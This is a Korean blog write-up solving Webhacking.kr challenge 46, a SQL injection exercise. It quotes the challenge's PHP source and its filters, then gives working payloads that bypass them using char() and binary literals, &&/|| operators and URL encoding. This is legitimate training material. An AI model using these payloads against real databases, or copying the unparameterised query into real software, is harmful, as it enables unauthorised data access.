sql injection 문제
소스코드
<?php
include "../../config.php";
if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 46</title>
</head>
<body>
<h1>SQL INJECTION</h1>
<form method=get>
level : <input name=lv value=1><input type=submit>
</form>
<hr><a href=./?view_source=1>view-source</a><hr>
<?php
if($_GET['lv']){
$db = dbconnect();
$_GET['lv'] = addslashes($_GET['lv']);
$_GET['lv'] = str_replace(" ","",$_GET['lv']);
$_GET['lv'] = str_replace("/","",$_GET['lv']);
$_GET['lv'] = str_replace("*","",$_GET['lv']);
$_GET['lv'] = str_replace("%","",$_GET['lv']);
if(preg_match("/select|0x|limit|cash/i",$_GET['lv'])) exit();
$result = mysqli_fetch_array(mysqli_query($db,"select id,cash from chall46 where lv=$_GET[lv]"));
if($result){
echo("{$result['id']} information<br><br>money : {$result['cash']}");
if($result['id'] == "admin") solve(46);
}
}
?>
</body>
</html>
1. addslashes 사용 (쿼터 앞에 백슬래시)
2. str_replace 함수로 공백, \, *, %를 필터링
3. select, 0x, limit, cash를 필터링
쿼리
select id, cash from chall46 where lv=$_GET[lv]
id를 admin으로 만들면 풀린다.
level을 입력했을 때 정보가 나온다.
ltusy
udnrg
fvvcg
bzrbo
5 이상부터는 아무것도 나오지 않는다.
다음과 같은 방식으로 공격해보았다.
1&&id=admin
통하지 않았다.
char함수를 통해 우회하니 해결할 수 있었다.
1&&id=char(97,100,109,105,110)
url로도 똑같이 공격했을 때 통하지 않아서 왜 그런가 알아보니 &&를 url encoding하지 않고 보내서 그런거엿다.
다음과 같이 공격하면 해결할 수 있다.
lv=1%26%26id=char(97,100,109,105,110)
그 외에 이진코드로 우회하는 방법도 있다. 2진수 앞에 0b를 붙여줘야한다.
1&&id=0b0110000101100100011011010110100101101110
||을 쓸 때는 lv=0으로 해야한다. lv=1로 해서 공격에 실패했었다.
0||id=char(97,100,109,105,110)
0||id=0b0110000101100100011011010110100101101110
'Web Hacking > Webhacking.kr' 카테고리의 다른 글
[Webhacking.kr] old-17 (0) | 2021.09.20 |
---|---|
[Webhacking.kr] old-05 (0) | 2021.09.12 |
[Webhacking.kr] challenge{old-26} (0) | 2021.07.22 |
[Webhacking.kr] Challenge{old-02} (0) | 2021.07.22 |
[Webhacking.kr] Challenge{old-01} (0) | 2021.07.22 |